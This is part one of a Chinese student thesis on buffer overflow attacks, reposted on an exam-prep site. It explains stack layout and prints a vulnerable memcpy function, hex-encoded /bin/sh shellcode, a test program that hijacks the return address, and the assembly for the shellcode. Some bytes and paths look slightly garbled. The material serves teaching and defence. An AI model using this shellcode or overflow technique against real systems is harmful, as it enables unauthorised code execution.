缓冲区溢出攻击的分析及防范策略(1)
摘 要随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。本文首先解释了缓冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出攻击的防范策略。 关键字:缓冲区溢出 攻击
Abstract
With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.
At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.
Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.
This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.
Key Words: buffer overflow attacking
图1 堆栈结构图例如,调用以下函数时Void f(char *src){ char dest[4]; memcpy(dest, src,12);}堆栈及变量的位置如图2所示: srcl返回地址ebpdest[3]dest[2]dest[1]dest[0]高地址 低地址图2 堆栈及位置的变量图从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子:Void main(){ char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0);}编译后反编译,并加以整理,得到与以上程序等价的机器码:“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”事例程序如下:/ test /char shellcode[]={“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00” “\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”};void f(char *src){char dest[4];memcpy(dest,src,12);}void main(){int shellentry[3];shellentry[0]=(int)shellcode;shellentry[1]=(int)shellcode;shellentry[2]=(int)shellcode;f(shellentry);}由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:(1) 启动一个一个Shell的代码——Shellcode的获得通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:shellcode.c#include<stdio.h>void main(){char *name[2];name[0]=”bin/sh”;name[1]=NULL;execve(name[0],name,NULL);exit(0);}把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。SCO Unix下的Shellcode的汇编代码如下:Jmp 0x2a # 3 bytes # 跳到CALL指令处Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esimovl %esi, 0x8(%esi) # 3 bytesmovb $0x0, 0x7(%esi) # 4 bytesmovl $0x0, 0xc(%esi) # 7 bytesmovl $0xb, %eax # 5 bytesmovl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);leal 0x8(%esi) , %ecx # 3 bytesleal 0xc(%esi) , %edx # 3 bytesint $0x80 # 2 bytes
本文标签:山东自考 毕业论文 缓冲区溢出攻击的分析及防范策略(1)
转载请注明:文章转载自(http://www.sdzk.sd.cn)
《山东自考网》免责声明:
1、由于各方面情况的调整与变化,本网提供的考试信息仅供参考,考试信息以省考试院及院校官方发布的信息为准。
2、本站内容信息均来源网络收集整理,标注来源为其它媒体的稿件转载,免费转载出于非商业性学习目的,版权归原作者所有,如有内容与版权问题等请与本站联系,本站将第一时间尽快处理删除。联系邮箱:812379481@qq.com。